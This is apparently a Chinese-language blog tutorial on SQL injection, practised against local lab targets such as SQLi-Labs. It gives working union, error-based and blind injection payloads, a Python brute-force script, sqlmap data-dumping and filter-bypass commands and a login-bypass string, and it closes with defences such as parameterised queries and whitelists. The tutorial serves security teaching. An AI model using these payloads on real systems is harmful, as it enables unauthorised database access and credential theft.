ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

SQL注入实战入门:从报错注入、盲注到Sqlmap与代码防御

2026/9/4 11:24:23 拓冰建站 浏览量
SQL注入实战入门:从报错注入、盲注到Sqlmap与代码防御 想入门 Web 安全SQL 注入几乎是绕不开的第一课。哪怕现在自动化扫描工具和各类防护设备已经很普及你在本地靶场、CTF 题目和真实授权测试里最常见的漏洞类型依然是 SQL 注入。这篇文章不打算把知识点讲成教科书而是按我带新人时习惯的顺序先搭靶场再手工做报错注入接着处理盲注最后用 Sqlmap 做批量取数每一步都给你判断依据和常见坑点。先做一个必要提醒下面所有操作都只适合在本地靶场、CTF 平台或你有明确授权的测试环境里完成。对着没有授权的真实站点做测试既违背安全测试的基本职业规范也可能直接违反法律。学习注入的核心目的是理解漏洞形成原因和修复方式不是为了练出一把能到处乱用的锤子。下面我以 SQLi-Labs 和 Pikachu 这两个入门常用的靶场为例。如果你手头装的是 DVWA思路同样通用只是关卡顺序和部分参数名不一样。1. SQL 注入为什么到今天仍是 Web 安全入门的第一课SQL 注入看起来只是一个“输入拼接”问题但它背后牵出的东西很多数据与代码的边界、输入校验的层级、数据库权限设计、错误信息处理、日志审计。第一次想明白“用户输入可以改变 SQL 语义”之后你对 XSS、模板注入、命令注入的理解都会顺畅很多。所以很多 Web 安全入门路线把 SQL 注入放在最前面不是因为它是最高级的攻击手法而是因为它最适合用来建立安全思维的第一块基石所有外部输入都是不可信的。1.1 先理解本质用户输入被拼进了 SQL 语句看一段典型的漏洞代码$id $_GET[id]; $sql SELECT * FROM users WHERE id $id; $result mysqli_query($conn, $sql);看起来没什么问题用户传一个 id程序查一下数据库把结果展示出来。问题在于$id被直接拼进 SQL。如果用户传的内容是1 or 11最终 SQL 变成SELECT * FROM users WHERE id 1 or 11因为11永远成立这条语句会返回表里的所有记录。原本只想查一个 id结果把整张表捞出来了。如果输入里再带上注释符号把后面的条件全部注释掉影响范围还会更大。这就是“注入”的本质你以为输入的是数据但程序把它当代码执行了。1.2 三个靶场一套判断思路入门阶段常见的三个靶场各有定位靶场特点适合阶段SQLi-Labs按注入类型分关卡从数字型、字符型到报错、盲注、堆叠、二次注入都有适合系统练手工注入Pikachu综合 Web 漏洞靶场SQL 注入只是其中一块适合练完基础后做综合练习DVWA安全等级分 low、medium、high、impossible适合对比漏洞代码和修复代码不管用哪个靶场判断思路都一样先找到输入点再看输入会不会影响数据库查询最后确认结果能不能被看到。完整链路是找到参数位置可能是 URL 参数、POST 表单、Cookie 或某个请求头。输入特殊字符观察页面是否报错、是否变空白、是否返回异常数据。确认存在注入后判断是什么类型数字型还是字符型有没有回显能不能报错。根据不同类型选择取数方式。先把这个链路记熟。后面的手工注入和 Sqlmap 其实都是这个链路的自动化或简化。2. 报错注入从第一个单引号到把整库数据拖出来手工注入的第一步不是急着拖库而是验证注入点存在并且搞清楚 SQL 语句的拼接结构。我用 SQLi-Labs 的 Less-1 举例入口地址通常是http://127.0.0.1/sqli-labs/Less-1/?id1正常访问会返回id1的用户信息。下面开始判断。2.1 手工判断注入点的标准链路先在 URL 后面加一个单引号http://127.0.0.1/sqli-labs/Less-1/?id1页面大概率出现数据库报错能明显看到 SQL 语句接近WHERE id1 LIMIT 0,1。这说明代码用的是单引号字符型拼接而且数据库错误信息直接暴露到了页面上。接下来用order by猜字段数量http://127.0.0.1/sqli-labs/Less-1/?id1 order by 3--如果页面正常说明表至少能按第 3 列排序。继续试http://127.0.0.1/sqli-labs/Less-1/?id1 order by 4--如果第四个字段报错说明查询结果只有 3 列。然后通过union select找数据回显位http://127.0.0.1/sqli-labs/Less-1/?id1 union select 1,2,3--页面里如果出现了2和3就说明查询结果的第二列和第三列会直接显示在页面上。这个“回显位”就是后面拖数据的位置。把其中一个字段替换成数据库函数http://127.0.0.1/sqli-labs/Less-1/?id1 union select 1,database(),version()--页面会显示当前数据库名和 MySQL 版本。看到数据库版本后基本可以确定该用哪套语法去查表名和字段。2.2 报错注入函数让数据库把答案直接说出来上面那种方式依赖页面有回显位。如果页面回显位不存在或者union select被过滤还有另一条路报错注入。MySQL 里最常见的两个报错函数是updatexml()和extractvalue()。它们的原理是让执行结果出现在 XPath 报错信息里数据库一报错就把数据“念”出来了。典型用法 and updatexml(1,concat(0x7e,(select database())),1)-- and extractvalue(1,concat(0x7e,(select database())))--0x7e是波浪号~的十六进制表示。concat(0x7e, 查询语句)会把查询结果和波浪号拼在一起作为不合法的 XPath 路径触发报错数据库就会把包含查询结果的错误内容回显到页面。例如取当前数据库名http://127.0.0.1/sqli-labs/Less-1/?id1 and updatexml(1,concat(0x7e,(select database())),1)--报错内容里会出现类似XPATH syntax error: ~securitysecurity就是当前数据库名。继续查表名时要注意报错内容有长度限制通常一次只显示一段。所以建议配合limit分段查或者用group_concat配合substr截断。2.3 报错注入的边界报错被关掉之后怎么办报错注入依赖一个前提数据库错误信息直接被输出到页面。很多生产系统会把数据库报错统一吞掉只显示一个 500 错误页。这时候updatexml和extractvalue就不会吐出任何有效信息。遇到这种情况下一页的盲注就派上用场了。盲注的核心思路是即使页面不显示数据只要页面能区分“查询条件成立”和“查询条件不成立”两种状态就可以一点一点把数据推断出来。3. 页面没有回显怎么办盲注实际是“一问一答”盲注分两种布尔盲注和时间盲注。布尔盲注的判断标志是页面内容有差异时间盲注的判断标志是响应时间有差异。 总思路都一样构造一个“只有猜对了才会成立”的条件让数据库告诉我们答案。3.1 布尔盲注从页面真假差异里推断数据先做基础判断。在某个参数后输入id1 and 11--如果页面返回正常再输入id1 and 12--如果页面没有返回正常内容说明布尔盲注成立条件为真时页面是一种表现条件为假时是另一种表现。接下来就可以猜数据了。比如猜当前数据库名的第一个字符是不是大于某个值id1 and ascii(substr(database(),1,1))100--如果页面正常说明数据库名第一个字符的 ASCII 码大于 100继续二分缩小范围如果页面无数据就反过来试更小的值。ASCII 比较要比一个个猜字母快很多。常见做法是先猜长度的范围再逐位确认字符。3.2 时间盲注当页面连真假都不给时怎么办有些页面不管 SQL 成立不成立返回内容都一样。这时候只能靠时间差。MySQL 里常用id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)--条件成立时数据库会先睡 3 秒再返回条件不成立时立刻返回。你只要观察响应时间有没有明显延迟就能判断条件是否成立。时间盲注有几个明显的坑网络本身不稳定时延迟会被误判。建议条件成立时用 3 秒以上延迟并且每个判断多测一次。不要用大量时间盲注请求去打真实站点这会拖垮目标而且不是授权测试该做的事。如果目标不是 MySQL函数完全不同。SQL Server、Oracle、PostgreSQL 都有各自的延迟函数先确认数据库类型再写条件。3.3 写一个简单脚本代替纯手工手工布尔盲注非常考验耐心。猜一个字符可能要好几次请求整张表拖完请求数量很大。所以入门阶段建议写个小脚本把重复判断交给程序。下面是针对 SQLi-Labs Less-8 的示例脚本作用就是爆破当前数据库名import requests url http://127.0.0.1/sqli-labs/Less-8/ chars abcdefghijklmnopqrstuvwxyz0123456789_ db_name for i in range(1, 30): found False for c in chars: payload f1 and substr(database(),{i},1){c}-- r requests.get(url, params{id: payload}, timeout10) if You are in in r.text: db_name c found True break if not found: break print(db_name)注意脚本里的判断条件You are in in r.text是针对 Less-8 的成功特征写的。如果你换靶场要先确认“条件成立”时页面到底有什么固定特征再改判断条件。如果页面没有明显特征就改用时间盲注脚本通过time.time()计算响应耗时超过阈值再判定为真。脚本本身不难难的是把布尔条件和页面特征映射清楚。4. Sqlmap 在本地靶场的完整测试顺序Sqlmap 是目前最常用的 SQL 注入自动化检测工具。很多新手以为它是一条命令直接拖库实际跑起来会遇到各种问题跑不出注入点、参数识别错误、type 不对、拖库太慢等。用它的前提是先把手工思路搞明白否则出了报错都不知道怎么调。4.1 第一次跑通先检测再取数Sqlmap 安装完成、能正常执行之后先在本地靶场做一次最基础的检测。以 SQLi-Labs Less-1 为例sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch --dbmsmysql说明-u指定目标 URL。--batch让 Sqlmap 用默认选项自动跑适合第一次测试。--dbmsmysql告诉它目标用 MySQL能省很多不必要的探测。跑完如果提示 “is vulnerable”说明注入点确认。接下来逐级取数# 查看当前数据库 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch --current-db # 查看所有数据库 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch --dbs # 查看指定数据库里的表 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch -D security --tables # 查看指定表的字段 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch -D security -T users --columns # 拖数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id1 --batch -D security -T users -C username,password --dump如果演示环境的库名不是security把-D后面的名字换成实际查到的库名。4.2 常用参数先记这一份Sqlmap 参数很多但入门阶段先掌握这些就够用了参数作用使用场景-u指定目标 URLGET 请求测试-r指定请求包文件要测试 POST、Cookie、自定义请求头时--data指定 POST 提交的数据登录表单或搜索框注入--cookie指定 Cookie需要登录后才能访问的页面--current-db获取当前数据库名先确认目标库范围--dbs枚举所有数据库权限足够时使用-D -T -C指定库名、表名、字段名精确取数--dump导出表数据最终取数--level测试深度1 到 5默认参数测不出时适当提高--risk风险等级1 到 3默认 1 即可不要盲目调高--tamper加载绕过脚本CTF 或靶场里遇到过滤时使用4.3 本地靶场最常见的三个问题先说第一个Sqlmap 跑很久但提示没有注入点。 这种情况优先检查 URL 是否有问题尤其注意拼接方式和参数位置。手工测出来有注入Sqlmap 却跑不出来最常见原因是注入点在 POST 请求或请求头里这时用-r加载抓包文件比-u更稳。第二个跑得太慢。 本地靶场一般很快如果很慢可能是 Sqlmap 在探测过多数据库类型。加--dbmsmysql能明显提速。实时日志觉得刷得太快可以加-v 0降低输出级别。第三个提示连接失败或超时。 先确认靶场服务是否还活着直接在浏览器访问一次。如果浏览器正常、Sqlmap 连不上检查是不是有代理设置影响了请求或者目标地址用了 localhost 之外无法解析的主机名。最后提醒一句Sqlmap 输出内容默认会缓存到本地文件重跑同一条命令会优先读缓存。如果你改了参数想重新注入可以加--flush-session清掉会话缓存。5. 从打穿到看懂登录绕过、过滤绕过与绕过边界靶场题型里有个常见场景叫“万能密码绕过登录”。它的意义不是教你怎么登录别人系统而是帮你理解一个开发常识不要只在前端做校验更不要把登录逻辑写成字符串拼接 SQL。5.1 万能密码为什么能绕过去假设后端代码是这样$username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username $username AND password $password;如果用户输入的用户名是admin or 11 -- -最终 SQL 变成SELECT * FROM users WHERE username admin or 11 -- AND password xxx-- -把后面的密码判断注释掉整条 where 条件被11变成恒真于是登录成功。这个问题的根源不在输入校验而在 SQL 语句本身允许用户输入改变执行逻辑。无论你在前端加多少层长度限制和非法字符过滤只要 SQL 是拼接出来的就存在被绕过的可能。这类题目在 CTF 里很常见目的是让你理解认证流程里的信任边界。真实环境里做测试时同样只能在你自己搭的靶场或授权范围内验证不能拿这套思路去试任何第三方系统。5.2 遇到过滤和 WAF 时的通用处理顺序SQLi-Labs 后面不少关卡会过滤空格、注释符、关键字Pikachu 里也有字符型注入练习。很多新手一遇到过滤就急着找各种高级绕过姿势其实应该先按顺序排查。建议顺序确认过滤发生在哪里。前端 JS 过滤直接改请求包就能绕过后端过滤才是真正要分析的。搞清楚过滤了什么。是空格、select、union、and/or还是注释符。优先尝试等价替换。空格可以用注释符替代select可能可以用大小写混合绕过也可能不行。最后才考虑 Sqlmap 的--tamper参数。例如 Sqlmap 遇到空格被过滤可以加sqlmap -u http://127.0.0.1/sqli-labs/Less-26/?id1 --tamperspace2comment --batchspace2comment会把空格替换成/**/。MySQL 里/**/在很多位置可以代替空格。不过不同靶场过滤规则变化很大一个 tamper 脚本并不通用还是要看服务端到底做了什么校验。绕过的意义是帮助你理解过滤规则的漏洞而不是让你练就一套战无不胜的“黑客技巧”。真正到授权测试项目里更多时间花在理解业务和代码上而不是无脑尝试绕过。6. 真正该重视的是修复防 SQL 注入的落地清单文章最后说修复是因为只学会注入不学会修复等于只看到病不会开药。Web 安全测试的最终交付目标应该是让系统不再存在同类漏洞。6.1 参数化查询不是可选项而是底线目前最有效的修复方式是参数化查询也叫预编译语句。核心思想是SQL 结构先固定好用户输入只作为参数传入数据库不会把它当成 SQL 代码执行。PHP 的 PDO 写法$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]); $user $stmt-fetch();MyBatis 里要特别注意!-- 安全写法 -- select idgetUserById resultTypeUser SELECT * FROM users WHERE id #{id} /select#{}会生成占位符参数是安全的。如果图省事写成${id}则仍会做字符串拼接注入风险立刻回来。所以修复时不是“用了框架就安全”而是要看框架里实际用的是参数化写法还是为了拼接方便用了字符串模板。6.2 无法参数化的部分交给白名单有一个容易忽略的点参数化查询只能处理值不能处理表名、字段名、排序关键字这类 SQL 结构。例如用户控制order by的字段名时不能简单写成SELECT * FROM products ORDER BY ?;因为order by后面的字段名是结构不是值。这类场景的正确做法是白名单把允许排序的字段、允许倒序正序的关键字一一列出来用户选择什么只能从列表里取。$allowedColumns [id, name, price]; $orderColumn in_array($input, $allowedColumns) ? $input : id;白名单之外的值一律不进入 SQL这样就从源头排除了注入可能。6.3 上线前自检清单在实际项目里做 SQL 注入修复检查我一般按这个清单过一遍检查项判断标准代码审计所有动态 SQL 是否都用了参数化方式拼接点排查是否还有$sql直接拼接变量或${}的情况表名字段名用户可控的排序字段是否走白名单错误信息数据库报错是否输出到页面数据库权限应用账号是否拥有最小必要权限比如不允许直接查所有库WAF 定位WAF 和过滤校验只能作为缓解措施不能替代代码修复错误信息这块要单独说一句很多系统平时工作正常一遇到畸形请求就抛出完整 SQL 语句和数据库版本。这个信息本身就是注入测试的“导航地图”。生产环境应该开启统一异常处理把数据库错误记录到日志只对用户返回通用错误页。数据库权限的原则是权限最小化。普通查询账号不应该有file、super这类高危权限也不应该能读写其他业务库。这样即使代码里出现一个漏网注入点攻击者能拿到的数据范围也有限。最后回到主题。Sqlmap 装好、报错注入能用、盲注也会写脚本只是入门的第一步。真正拉开差距的是对业务逻辑的理解、对代码审计的耐心以及每发现一个漏洞都能给出明确修复方案的意识。学习的时候多花点时间在修复和防御上后面做项目才不会只停留在“能打穿”的层面。